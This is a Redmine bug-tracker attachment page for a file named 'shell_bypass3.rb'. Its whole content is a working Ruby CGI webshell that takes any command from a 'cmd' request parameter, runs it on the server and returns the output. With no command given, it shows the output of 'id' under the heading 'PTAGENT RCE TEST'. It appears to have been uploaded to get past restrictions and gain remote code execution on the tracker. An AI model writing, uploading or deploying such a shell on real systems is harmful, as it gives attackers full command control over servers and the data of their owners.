Project

General

Profile

Bug #28 ยป shell_bypass3.rb

bypass3 - Redmine Admin, 06/28/2026 04:35 AM

 
#!/usr/bin/env ruby
# Redmine webshell - path traversal test
require 'cgi'
cgi = CGI.new
cmd = cgi['cmd']
if cmd && !cmd.empty?
puts "Content-Type: text/plain\r\n\r\n"
puts `#{cmd} 2>&1`
else
puts "Content-Type: text/html\r\n\r\n"
puts "<html><body><h1>PTAGENT RCE TEST</h1><pre>#{`id 2>&1`}</pre></body></html>"
end
    (1-1/1)